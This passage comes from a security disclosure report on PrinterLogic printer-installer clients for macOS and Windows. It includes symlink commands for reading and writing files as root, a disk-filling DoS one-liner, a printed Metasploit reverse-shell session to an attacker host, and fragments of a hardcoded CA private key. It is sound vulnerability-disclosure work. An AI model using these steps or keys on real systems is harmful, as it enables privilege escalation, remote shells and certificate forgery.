<li>The <code>data/clientsettings.dat</code> file containing the private key of the previous Certificate Authority (<a href="#mac-hardcoded-private-key">CVE-2025-27685 - Hardcoded Private key for the PrinterLogic CA and Hardcoded password</a>) and SNMP keys:</li>
</ul>
<p><xmp>
kali% cat data/clientsettings.dat | xmllint --format -
[...]
    <setting name="caPrivateKey">-----BEGIN PRIVATE KEY-----
MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQCs4uTY7wGVIs14
OPZnEx33WwXg3b5aAEEw6uTiwgutiZojUoAJ7hytkEK7KDOB1TL7/IphKmtJdkix
LgZYiLtRjzejOeQNPNbvROg/TtBADTalWp6d7j3Sr8a6yz0lwbMYgdpmu1M9kxAg
c10PX2tbjcnGfP2LQ5eXofHkkyvGtCaEo9RSs0DOLsIrK9Y6yctz+tKhYca0wPjI
qp0IQBfHaCnskmqrWMlUU2PW9b3cIY96qCI1qvlIYBJwm49tC6Wq84BlkNHmZ/Fz
7i56aAA6F9O46iODUrJvabwDs7N6MSuzoCatC4kciig85pr6jengpWbp3E6Z7ybo
h+fX8seGmYu0QN1/ipAJ5PZ5Dy9RoG7NA66h/EYDWxunL0Oo3w6sZi3LLyLl5Cvt
[...]
    <setting name="snmp_12_community">public</setting>
    <setting name="snmp_12_community_private">private</setting>
[...]
    <setting name="snmp_3_authentication_key">[redacted]</setting>
[...]
    <setting name="snmp_3_privacy_key">[redacted]</setting>
[...]
</xmp></p>
<ul>
<li>XML containing SNMP communities of the printers:</li>
</ul>
<p><xmp>
kali% xmllint --format data/printer_503_m101664.xml
[...]
    <port type="TCP">
      <address host="[redacted]" portnumber="9100"/>
      <protocol type="0"/>
      <snmp>
        <community>[redacted]</community>
[...]
    <port type="TCP">
      <address host="[redacted]" portnumber="9100"/>
      <protocol type="0"/>
      <snmp>
        <community>public</community>
        <deviceindex>1</deviceindex>
      </snmp>
[...]
kali%
</xmp></p>
<p>Any local user can retrieve the configuration of the software, including PHP sessions and SNMP communities of printers.</p>
<p>Any local user can DoS the laptop by creating files using <code>echo -n 'BUNDLE_DEBUG'  &gt; /opt/PrinterInstallerClient/tmp/requests/$RANDOM-$RANDOM</code> and filing the hard disk as root.</p>
<p><a id="mac-arbitrary-file-read"></a></p>
<h2>Details - Arbitrary File Read as root</h2>
<p>It is possible to use the APIs to read the first line of any file in the laptop, even if the permissions don't allow reading this file.</p>
<p><code>/Users/pwnme-admin/secret/not-readable.file</code> is a file with <code>600</code> permissions and the directory <code>/Users/pwnme-admin/secret/</code> is using <code>700</code> permissions - these files are not readable by normal users:</p>
<p>Content of <code>/Users/pwnme-admin/secret/</code>:</p>
<pre><code>sh-3.2# ls -la /Users/pwnme-admin/secret/
total 8
drwx------   3 pwnme-admin  1000   96 Dec  9 19:43 .
drwxr-xr-x  13 pwnme-admin  1000  416 Dec 10 20:57 ..
-rw-------   1 pwnme-admin  1000   13 Dec  9 19:43 not-readable.file
sh-3.2#
</code></pre>
<p>As user, it is impossible to read this file:</p>
<pre><code>user@laptop ~ % ls -la /Users/pwnme-admin/secret/not-readable.file
ls: /Users/pwnme-admin/secret/not-readable.file: Permission denied
user@laptop ~ % cat /Users/pwnme-admin/secret/not-readable.file
cat: /Users/pwnme-admin/secret/not-readable.file: Permission denied
user@laptop ~ %
</code></pre>
<p>Creating a new task using a symbolic link will allow getting the content of the first line of the file, as this file is opened by PrinterInstallerClientService running as root:</p>
<pre><code>user@laptop ~ % ln -s /Users/pwnme-admin/secret/not-readable.file /opt/PrinterInstallerClient/tmp/requests/26TJdkfj0923lkaFlkSDSDn-202112091901313
</code></pre>
<p>And the first line of this file will be saved in the logs. The logs can be read by any user:</p>
<pre>
2021-12-10 21:07:42,743 (INFO): Received request: not-readable
2021-12-10 21:07:42,755 (INFO): Creating task:
<font color=red>Command: 'not-readable'</font>
Arguments: 
User ID: 1001
Group ID: 1000
Use UI: True
Origin: 'INTERFACE'
2021-12-10 21:07:42,762 (ERROR): No matching process task for received request data: not-readable
2021-12-10 21:07:42,764 (INFO): Done with request: not-readable
</pre>

<p>We can confirm as root that the content of the file is <code>not-readable</code>.</p>
<p>Content of <code>/Users/pwnme-admin/secret/not-readable.file</code>:</p>
<pre><code>root@laptop pwnme-admin # cat /Users/pwnme-admin/secret/not-readable.file
not-readable
root@laptop pwnme-admin #
</code></pre>
<p>Any local user can retrieve the first line of any file in the system.</p>
<p><a id="mac-arbitrary-file-write"></a></p>
<h2>Details - Arbitrary File Write as root</h2>
<p>Using the APIs and symbolic links, it is possible to write into files as root.</p>
<p>We will create a file owned by root with <code>600</code> as permissions. The file can be empty or can contain data. For the PoC, the file will contain <code>yo</code>:</p>
<pre><code>root@laptop /tmp # touch /tmp/test
root@laptop /tmp # chmod 600 /tmp/test
root@laptop /tmp # echo yo &gt;&gt; /tmp/test
root@laptop /tmp # ls -la /tmp/test    
-rw-------  1 root  wheel  3 Dec 10 21:55 /tmp/test
root@laptop /tmp # cat /tmp/test
yo
root@laptop /tmp #
</code></pre>
<p>By default, when a task is created and needs to write output, the filename used in the request will be reused in the <code>/opt/PrinterInstallerClient/tmp/responses/</code> output file. We will use the filename <code>1-1</code>.</p>
<p>Creating a symbolic link inside <code>/opt/PrinterInstallerClient/tmp/responses/</code>:</p>
<pre><code>user@laptop responses % ln -s /tmp/test /opt/PrinterInstallerClient/tmp/responses/1-1
</code></pre>
<p>Creating a new task with /opt/PrinterInstallerClient/tmp/requests/1-1:</p>
<pre><code>user@laptop ~ % echo -n GET_CONTEXT_MENU_ITEMS &gt; /opt/PrinterInstallerClient/tmp/requests/1-1
</code></pre>
<p>By checking the logs, we can confirm the symbolic link has been followed:</p>
<pre><code>2021-12-10 22:00:08,035 (INFO): Received request: GET_CONTEXT_MENU_ITEMS
2021-12-10 22:00:08,043 (INFO): Creating task:
Command: 'GET_CONTEXT_MENU_ITEMS'
Arguments: 
User ID: 501
Group ID: 20
Use UI: True
Origin: 'PLUGIN'
2021-12-10 22:00:08,056 (INFO): Done with request: GET_CONTEXT_MENU_ITEMS
2021-12-10 22:00:08,082 (DEBUG): Opening pipe at /opt/PrinterInstallerClient/tmp/responses/1-1 to write response
2021-12-10 22:00:08,102 (DEBUG): Writing plugin response to pipe at: b'1\n2\n[]'
2021-12-10 22:00:08,115 (DEBUG): Done writing response to pipe
</code></pre>
<p>And the /tmp/test file has been overwritten:</p>
<pre><code>root@laptop /tmp # ls -la /tmp/test
-rw-------  1 root  wheel  6 Dec 10 22:00 /tmp/test
root@laptop /tmp # cat /tmp/test
1
2
[]
root@laptop /tmp #
</code></pre>
<p>The potential misuse depends on the output of the task. </p>
<p>Any local user can overwrite files as root.</p>
<p>By overwriting specific files, it is possible to change the configuration of programs and get a Local Privilege Escalation. For example, an attacker updating the homeurl variable used by PrinterLogic to a malicious HTTP server will be able to insert malicious programs inside drivers.</p>
<p><a id="mac-outdated-openssl"></a></p>
<h2>Details - Outdated OpenSSL version</h2>
<p>When running the daemons manually, some warning messages will appear.</p>
<p>Warning messages about OpenSSL:</p>
<pre><code>user@laptop data % /opt/PrinterInstallerClient/service_interface/modules/PrinterLogicIdpAuthentication/PrinterLogicIdpAuthentication current-user http://192.168.100.1 501
/opt/PrinterInstallerClient/service_interface/modules/PrinterLogicIdpAuthentication/cryptography/hazmat/bindings/openssl/binding.py:177: CryptographyDeprecationWarning: OpenSSL version 1.0.2 is no longer supported by the OpenSSL project, please upgrade. The next version of cryptography will drop support for it.
</code></pre>
<p>By analyzing the openssl library at <code>/opt/PrinterInstallerClient/lib/libcrypto.1.0.0.dylib</code>, it appears the version is <code>OpenSSL 1.0.2h-fips  3 May 2016</code>.</p>
<p>This is also confirmed by reading the file <code>/opt/PrinterInstallerClient/bin/install_fips_openssl.sh</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">21</span> <span style="color: #408080; font-style: italic"># Check for existing openssl installation</span>
 <span style="color: #666666">22</span> <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Checking for OpenSSL 1.0.2 with fips wrapper in /usr/local/ssl&quot;</span>
 <span style="color: #666666">23</span> <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[[</span> -f /usr/local/ssl/bin/openssl <span style="color: #666666">]]</span>; <span style="color: #008000; font-weight: bold">then</span>
 <span style="color: #666666">24</span>     <span style="color: #19177C">valid_openssl</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>/usr/local/ssl/bin/openssl version | grep <span style="color: #BA2121">&quot;1.0.2&quot;</span> | grep <span style="color: #BA2121">&quot;-fips&quot;</span><span style="color: #008000; font-weight: bold">)</span>
 <span style="color: #666666">25</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[[</span> ! -z <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">valid_openssl</span><span style="color: #BB6688; font-weight: bold">}</span> <span style="color: #666666">]]</span>; <span style="color: #008000; font-weight: bold">then</span>
 <span style="color: #666666">26</span>         <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;  Congrats, you already have &#39;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">valid_openssl</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&#39; installed!&quot;</span>
 <span style="color: #666666">27</span>         <span style="color: #008000">exit</span> <span style="color: #666666">0</span>
 <span style="color: #666666">28</span>     <span style="color: #008000; font-weight: bold">else</span>
 <span style="color: #666666">29</span>         <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;  Replacing </span><span style="color: #008000; font-weight: bold">$(</span>/usr/local/ssl/bin/openssl version<span style="color: #008000; font-weight: bold">)</span><span style="color: #BA2121"> installation found in /usr/local/ssl&quot;</span>
 <span style="color: #666666">30</span>         sudo rm -rf /usr/local/ssl
 <span style="color: #666666">31</span>     <span style="color: #008000; font-weight: bold">fi</span>
 <span style="color: #666666">32</span> <span style="color: #008000; font-weight: bold">fi</span>
 <span style="color: #666666">33</span> 
 <span style="color: #666666">34</span> 
 <span style="color: #666666">35</span> <span style="color: #408080; font-style: italic"># Get all the fun stuff set up</span>
 <span style="color: #666666">36</span> <span style="color: #19177C">_OPENSSL_FIPS_VERSION</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;2.0.12&quot;</span>
 <span style="color: #666666">37</span> <span style="color: #19177C">_OPENSSL_VERSION</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;1.0.2h&quot;</span> <span style="color: #408080; font-style: italic"># [1] &lt;------------------ OpenSSL 1.0.2h</span>
 <span style="color: #666666">38</span> <span style="color: #19177C">_OPENSSL_FIPS_NAME</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;openssl-fips-</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">_OPENSSL_FIPS_VERSION</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span>
 <span style="color: #666666">39</span> <span style="color: #19177C">_OPENSSL_NAME</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;openssl-</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">_OPENSSL_VERSION</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span>
 <span style="color: #666666">40</span> <span style="color: #19177C">_OPENSSL_FIPS_TAR</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">_OPENSSL_FIPS_NAME</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">.tar.gz&quot;</span>
 <span style="color: #666666">41</span> <span style="color: #19177C">_OPENSSL_TAR</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">_OPENSSL_NAME</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">.tar.gz&quot;</span>
 <span style="color: #666666">42</span> <span style="color: #19177C">_OPENSSL_SOURCE_URL</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;https://www.openssl.org/source/&quot;</span>
 <span style="color: #666666">43</span> <span style="color: #19177C">_CURRENT</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span><span style="color: #008000">pwd</span><span style="color: #008000; font-weight: bold">)</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
 <span style="color: #666666">46</span> <span style="color: #408080; font-style: italic"># Download the files from openssl</span>
 <span style="color: #666666">47</span> <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Downloading OpenSSL source from </span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">_OPENSSL_SOURCE_URL</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span>
 <span style="color: #666666">48</span> <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[[</span> <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">_OS</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">==</span> <span style="color: #BA2121">&quot;OSX&quot;</span> <span style="color: #666666">]]</span>; <span style="color: #008000; font-weight: bold">then</span>
 <span style="color: #666666">49</span>     curl <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">_OPENSSL_SOURCE_URL</span><span style="color: #BB6688; font-weight: bold">}${</span><span style="color: #19177C">_OPENSSL_TAR</span><span style="color: #BB6688; font-weight: bold">}</span> -O
 <span style="color: #666666">50</span>     curl <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">_OPENSSL_SOURCE_URL</span><span style="color: #BB6688; font-weight: bold">}${</span><span style="color: #19177C">_OPENSSL_FIPS_TAR</span><span style="color: #BB6688; font-weight: bold">}</span> -O
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
 <span style="color: #666666">69</span> <span style="color: #408080; font-style: italic"># Compile and install fips wrapper, then openssl</span>
 <span style="color: #666666">70</span> <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Configuring and Installing OpenSSL from source&quot;</span>
 <span style="color: #666666">71</span> <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[[</span> <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">_OS</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">==</span> <span style="color: #BA2121">&quot;OSX&quot;</span> <span style="color: #666666">]]</span>; <span style="color: #008000; font-weight: bold">then</span>
 <span style="color: #666666">72</span>     <span style="color: #008000">cd</span> <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">_CURRENT</span><span style="color: #BB6688; font-weight: bold">}</span>/<span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">_OPENSSL_FIPS_NAME</span><span style="color: #BB6688; font-weight: bold">}</span> <span style="color: #BB6622; font-weight: bold">\</span>
 <span style="color: #666666">73</span>         <span style="color: #666666">&amp;&amp;</span> chmod +x Configure <span style="color: #BB6622; font-weight: bold">\</span>
 <span style="color: #666666">74</span>         <span style="color: #666666">&amp;&amp;</span> ./Configure darwin64-x86_64-cc <span style="color: #BB6622; font-weight: bold">\</span>
 <span style="color: #666666">75</span>         <span style="color: #666666">&amp;&amp;</span> make <span style="color: #BB6622; font-weight: bold">\</span>
 <span style="color: #666666">76</span>         <span style="color: #666666">&amp;&amp;</span> sudo make install
 <span style="color: #666666">77</span>     <span style="color: #008000">cd</span> <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">_CURRENT</span><span style="color: #BB6688; font-weight: bold">}</span>/<span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">_OPENSSL_NAME</span><span style="color: #BB6688; font-weight: bold">}</span> <span style="color: #BB6622; font-weight: bold">\</span>
 <span style="color: #666666">78</span>         <span style="color: #666666">&amp;&amp;</span> chmod +x Configure <span style="color: #BB6622; font-weight: bold">\</span>
 <span style="color: #666666">79</span>         <span style="color: #666666">&amp;&amp;</span> ./Configure darwin64-x86_64-cc shared fips <span style="color: #BB6622; font-weight: bold">\</span>
 <span style="color: #666666">80</span>         <span style="color: #666666">&amp;&amp;</span> make depend <span style="color: #BB6622; font-weight: bold">\</span>
</pre></div>

<p>This version of OpenSSL is EOL since 2019.</p>
<p>The solution is based on an outdated and unsupported OpenSSL library.</p>
<h2>Vulnerabilities affecting the Windows client</h2>
<h2>Identification of the solution</h2>
<p>The laptop is running Windows 10 and the Printerlogic version is 25.0.0.426.</p>
<p>Only a superficial analysis was performed on Printerlogic since this security assessment was mainly done against the default installation of a Windows 10 laptop and Printerlogic was a small part of this audit.</p>
<p><a id="win-insecure-programs"></a></p>
<h2>Details - Insecure PrinterInstallerClientInterface.exe, PrinterInstallerClient.exe and PrinterInstallClientLauncher.exe</h2>
<p>The laptop uses PrinterLogic to automatically download and configure printer drivers.</p>
<p>The PrinterLogic website is available at https://[redacted].printercloud10.com/:       </p>
<p>This solution is made of different components:</p>
<ul>
<li>A PHP back-end (out of scope),</li>
<li>An extension in the browser (Chrome, Edge, Firefox),</li>
<li>3 Different process are running on the laptop:</li>
<li>
<ul>
<li>PrinterInstallerClientInterface.exe, as <code>DOMAIN\user</code></li>
</ul>
</li>
<li>
<ul>
<li>PrinterInstallerClient.exe, as <code>NT AUTHORITY\SYSTEM</code></li>
</ul>
</li>
<li>
<ul>
<li>PrinterInstallerClientLauncher.exe, as <code>NT AUTHORITY\SYSTEM</code></li>
</ul>
</li>
</ul>
<p>By default, these 3 programs running on the laptop have no security at all:</p>
<ul>
<li>32-bits</li>
<li>No Data Execution Prevention</li>
<li>No Address Space Layout Randomization</li>
<li>No Control Flow Guard</li>
<li>No Stack Protection</li>
</ul>
<p>Here is PrinterInstallerClient.exe running as <code>NT AUTHORITY\SYSTEM</code>:</p>
<p><img alt="" src="images/2025-vasion-report-0-win-programs.png" /></p>
<p>Furthermore, these programs are a mix of outdated technologies:</p>
<ul>
<li>Pascal;</li>
<li>Delphi;</li>
<li>Python 2.</li>
</ul>
<p><a id="win-lpe-01"></a></p>
<h2>Details - Local Privilege Escalation with insecure use of C:\Windows\Temp\PPP\Log</h2>
<p>When these 3 programs are analyzed, the logs are written into disk as <code>NT AUTHORITY\SYSTEM</code> into <code>C:\Windows\Temp\PPP\Log\</code>:</p>
<p><img alt="" src="images/2025-vasion-report-0-win-lpe-01.png" /></p>
<p><a href="images/2025-vasion-report-0-win-lpe-01-full.png">Click here for full image</a></p>
<p>All the users have full Read/Write access to these files/directories.</p>
<p>Permissions of <code>PrinterInstallerClient.log</code>:</p>
<p><img alt="" src="images/2025-vasion-report-0-win-lpe-02.png" /></p>
<p><img alt="" src="images/2025-vasion-report-0-win-lpe-03.png" /></p>
<p>Writing of logs as <code>NT AUTHORITY\SYSTEM</code>:</p>
<p><img alt="" src="images/2025-vasion-report-0-win-lpe-04.png" /></p>
<p><img alt="" src="images/2025-vasion-report-0-win-lpe-05.png" /></p>
<p>With a symbolic link, it is possible to redirect the writing of logs as <code>NT AUTHORITY\SYSTEM</code> and to overwrite any file in the system to get a Local Privilege Escalation.</p>
<p>The code also contains multiple race conditions that may allow Local Privilege Escalations.</p>
<p>Also, some DLL hijacking vulnerabilities have been identified.</p>
<p>An attacker can get Local Privilege Escalation.</p>
<p><a id="win-lpe-02"></a></p>
<h2>Details - Local Privilege Escalation with insecure use of C:\Users\%USER%\AppData\Local\Temp\</h2>
<p>Another insecure file write has been identified in <code>C:\Users\%USER%\AppData\Local\Temp\</code>. These files are created as <code>NT AUTHORITY\SYSTEM</code> inside a directory under the control of the local user.</p>
<p>With a symbolic link, it is possible to redirect the writing of these files as <code>NT AUTHORITY\SYSTEM</code> and to overwrite any file in the system to get a Local Privilege Escalation:</p>
<p>Multiple files created in <code>C:\Users\%USER%\AppData\Local\Temp</code>:</p>
<p><img alt="" src="images/2025-vasion-report-0-win-lpe-06.png" /></p>
<p><img alt="" src="images/2025-vasion-report-0-win-lpe-07.png" /></p>
<p>An attacker can get Local Privilege Escalation.</p>
<p><a id="win-rce-01"></a></p>
<h2>Details - Remote Code Execution (Execution of C:\Program.exe during the installation of a driver)</h2>
<p>When a driver of a printer is installed using PrinterLogic, the <code>PrinterInstallerClient.exe</code> will execute several programs using the PATH <code>C:\Program Files (x86)\Printer Properties Pro\Printer Installer</code>:</p>
<p>Command executed by <code>PrinterInstallerClient.exe</code>:</p>
<p><img alt="" src="images/2025-vasion-report-0-win-rce-01.png" /></p>
<p><a href="images/2025-vasion-report-0-win-rce-01-full.png">Click here for full image</a></p>
<p>Because the path is not quoted, the system will execute <code>C:\Program.exe</code> before executing programs located inside <code>C:\Program Files (x86)\Printer Properties Pro\Printer Installer</code>:</p>
<p><img alt="" src="images/2025-vasion-report-0-win-rce-02.png" /></p>
<p><a href="images/2025-vasion-report-0-win-rce-02-full.png">Click here for full image</a></p>
<p><code>C:\Program.exe</code> executed by <code>PrinterInstallerClient.exe</code>:</p>
<p><img alt="" src="images/2025-vasion-report-0-win-rce-03.png" /></p>
<p>This will allow an attacker to get a Remote Code Execution using Metasploit after placing a rogue program into <code>C:\Program.exe</code>.</p>
<p>Using a Metasploit agent as <code>C:\Program.exe</code>, the attacker will receive a command execution from the network when a printer driver is installed:</p>
<pre><code>msf6 &gt; use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) &gt; set payload windows/shell/reverse_tcp
payload =&gt; windows/shell/reverse_tcp
msf6 exploit(multi/handler) &gt; set LHOST 192.168.100.1
LHOST =&gt; 192.168.100.1
msf6 exploit(multi/handler) &gt; set LPORT 10000
LPORT =&gt; 10000
msf6 exploit(multi/handler) &gt; run

[*] Started reverse TCP handler on 192.168.100.1:10000
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.100.28
[*] Command shell session 1 opened (192.168.100.1:10000 -&gt; 192.168.100.28:65282 ) at 2021-11-26 05:19:14 -0500


Shell Banner:
Microsoft Windows [Version 10.0.19043.1348]
-----


C:\Program Files (x86)\Printer Properties Pro\Printer Installer Client\bin\idp&gt;whoami
whoami
[redacted]

C:\Program Files (x86)\Printer Properties Pro\Printer Installer Client\bin\idp&gt;exit
exit

[*] 192.168.100.28 - Command shell session 1 closed.  Reason: User exit
msf6 exploit(multi/handler) &gt;
</code></pre>
<p>Note that the attacker needs to place a <code>C:\Program.exe</code> file inside the target machine.</p>
<p><a id="win-hardcoded-private-key"></a></p>
<h2>Details - Hardcoded Private key for the PrinterLogic CA and Hardcoded password</h2>
<p>The configuration file of PrinterLogic can be found in <code>C:\Windows\Temp\Data\clientsettings.dat</code>. It is an XML file containing some values:</p>
<p>Content of <code>C:\Windows\Temp\Data\clientsettings.dat</code>:</p>
<p><xmp>
&lt;?xml version="1.0" encoding="utf-8"?&gt;
<result code="1">
  <desc>Successful</desc>
  <account_settings>
    <setting name="serverType">saas</setting>
    <setting name="admin_prot">Any (specified by url)</setting>
    <setting name="app_url">https://[redacted].printercloud10.com</setting>
    <setting name="badge_ad_object"/>
    <setting name="badge_password">SET</setting>
[...]
    <setting name="snmp_3_authentication_key">[redacted]</setting>
    <setting name="snmp_3_authentication_protocol">sha</setting>
    <setting name="snmp_3_context_engineID"/>
    <setting name="snmp_3_context_name">mfpdirect</setting>
    <setting name="snmp_3_enabled">1</setting>
    <setting name="snmp_3_privacy_key">[redacted]</setting>
</xmp></p>
<p>Furthermore it contains a custom CA and its associated private key:</p>
<p><xmp>
    <setting name="caCertificate">-----BEGIN CERTIFICATE-----
MIIF+DCCA+CgAwIBAgIBADANBgkqhkiG9w0BAQ0FADCBlDELMAkGA1UEBhMCVVMx
DTALBgNVBAgMBFV0YWgxEzARBgNVBAcMClN0LiBHZW9yZ2UxFTATBgNVBAoMDFBy
aW50ZXJMb2dpYzEZMBcGA1UECwwQUHJpbnRlckluc3RhbGxlcjEvMC0GA1UEAwwm
UHJpbnRlckluc3RhbGxlciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMjEwNjA4
MDEwOTExWhcNNDEwNjAzMDEwOTExWjCBlDELMAkGA1UEBhMCVVMxDTALBgNVBAgM
BFV0YWgxEzARBgNVBAcMClN0LiBHZW9yZ2UxFTATBgNVBAoMDFByaW50ZXJMb2dp
YzEZMBcGA1UECwwQUHJpbnRlckluc3RhbGxlcjEvMC0GA1UEAwwmUHJpbnRlcklu
c3RhbGxlciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUA
[...]
ocC5e+TosH3ISmcx/Y0rRYzKVOzW77v18ijozAKlG4usf/vPFaZD+72IaTM=
-----END CERTIFICATE-----
</setting>
    <setting name="cac_filter"/>
    <setting name="cac_issuers"/>
    <setting name="cac_subjects"/>
    <setting name="caPrivateKey">-----BEGIN PRIVATE KEY-----
MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQCs4uTY7wGVIs14
OPZnEx33WwXg3b5aAEEw6uTiwgutiZojUoAJ7hytkEK7KDOB1TL7/IphKmtJdkix
LgZYiLtRjzejOeQNPNbvROg/TtBADTalWp6d7j3Sr8a6yz0lwbMYgdpmu1M9kxAg
c10PX2tbjcnGfP2LQ5eXofHkkyvGtCaEo9RSs0DOLsIrK9Y6yctz+tKhYca0wPjI
[...]
a6+mSov2DwmlJJ+y5MvYSXhh5kg0xbulg/kr8jWY0hfopQGAHT2eUmlMaS3ZCxIk
FqmTjGpNQnxLd+LS+YEKyjZsfs/5srqTzyVnn+D2TNeWpbinUESX3hQxXsdU5vDr
2lS4nryEiEh2058Cq6Z4zsBtsjNgtAg=
-----END PRIVATE KEY-----
</xmp></p>
<p>It is possible to confirm this private key is the private key of the public CA by checking modulus - they have the same modulus value:</p>
<pre><code>kali% openssl rsa -noout -modulus -in CA.key
Modulus=ACE2E4D8EF019522CD7838F667131DF75B05E0DDBE5A004130EAE4E2C20BAD899A23528009EE1CAD9042BB283381D532FBFC8A612A6B497648B12E065888BB518F37A339E40D3CD6EF44E83F4ED0400D36A55A9E9DEE3DD2AFC6BACB3D25C1B31881DA66BB533D931020735D0F5F6B5B8DC9C67CFD8B439797A1F1E4932BC6B42684A3D452B340CE2EC22B2BD63AC9CB73FAD2A161C6B4C0F8C8AA9D084017C76829EC926AAB58C9545363D6F5BDDC218F7AA82235AAF9486012709B8F6D0BA5AAF3806590D1E667F173EE2E7A68003A17D3B8EA238352B26F69BC03B3B37A312BB3A026AD0B891C8A283CE69AFA8DE9E0A566E9DC4E99EF26E887E7D7F2C786998BB440DD7F8A9009E4F6790F2F51A06ECD03AEA1FC46035B1BA72F43A8DF0EAC662DCB2F22E5E42BED8B04F7AF2D10EE97007499DE30A3A6225D61FB2856D3563D5E7855FFDA3DB8D599D064471F524E01DF2944F7BC70BC454F2F1CDA8CA0D5737A23E6280C25FCCAD5C1C439F5CE01CBE0348DC190508E73506EAF7060129B63661AF1AE2EA2E4F7695B3A66772A501F33FF13A2947600C8425BC1E7F1B3E664C84A9A284ADAA3352F5C0C6A07991800CDD0DA207497673FAFE046522B57F8C20AC3E14B98F25BA07B58650D0F9CEEA234A41CD268E9507E53BDAB9B46FF0DB39875E3C1AA719376AF6C240A8C99D13D8F525F2E7037523F12CB9855AFBB
kali% openssl x509 -noout -modulus -in CA.crt
Modulus=ACE2E4D8EF019522CD7838F667131DF75B05E0DDBE5A004130EAE4E2C20BAD899A23528009EE1CAD9042BB283381D532FBFC8A612A6B497648B12E065888BB518F37A339E40D3CD6EF44E83F4ED0400D36A55A9E9DEE3DD2AFC6BACB3D25C1B31881DA66BB533D931020735D0F5F6B5B8DC9C67CFD8B439797A1F1E4932BC6B42684A3D452B340CE2EC22B2BD63AC9CB73FAD2A161C6B4C0F8C8AA9D084017C76829EC926AAB58C9545363D6F5BDDC218F7AA82235AAF9486012709B8F6D0BA5AAF3806590D1E667F173EE2E7A68003A17D3B8EA238352B26F69BC03B3B37A312BB3A026AD0B891C8A283CE69AFA8DE9E0A566E9DC4E99EF26E887E7D7F2C786998BB440DD7F8A9009E4F6790F2F51A06ECD03AEA1FC46035B1BA72F43A8DF0EAC662DCB2F22E5E42BED8B04F7AF2D10EE97007499DE30A3A6225D61FB2856D3563D5E7855FFDA3DB8D599D064471F524E01DF2944F7BC70BC454F2F1CDA8CA0D5737A23E6280C25FCCAD5C1C439F5CE01CBE0348DC190508E73506EAF7060129B63661AF1AE2EA2E4F7695B3A66772A501F33FF13A2947600C8425BC1E7F1B3E664C84A9A284ADAA3352F5C0C6A07991800CDD0DA207497673FAFE046522B57F8C20AC3E14B98F25BA07B58650D0F9CEEA234A41CD268E9507E53BDAB9B46FF0DB39875E3C1AA719376AF6C240A8C99D13D8F525F2E7037523F12CB9855AFBB
kali%
</code></pre>
<p>Description of the CA:</p>
<pre><code>kali% openssl x509 -in CA.crt -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 0 (0x0)
        Signature Algorithm: sha512WithRSAEncryption
        Issuer: C = US, ST = Utah, L = St. George, O = PrinterLogic, OU = PrinterInstaller, CN = PrinterInstaller Certificate Authority
        Validity
            Not Before: Jun  8 01:09:11 2021 GMT
            Not After : Jun  3 01:09:11 2041 GMT
        Subject: C = US, ST = Utah, L = St. George, O = PrinterLogic, OU = PrinterInstaller, CN = PrinterInstaller Certificate Authority
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (4096 bit)
                Modulus:
                    00:ac:e2:e4:d8:ef:01:95:22:cd:78:38:f6:67:13:
                    1d:f7:5b:05:e0:dd:be:5a:00:41:30:ea:e4:e2:c2:
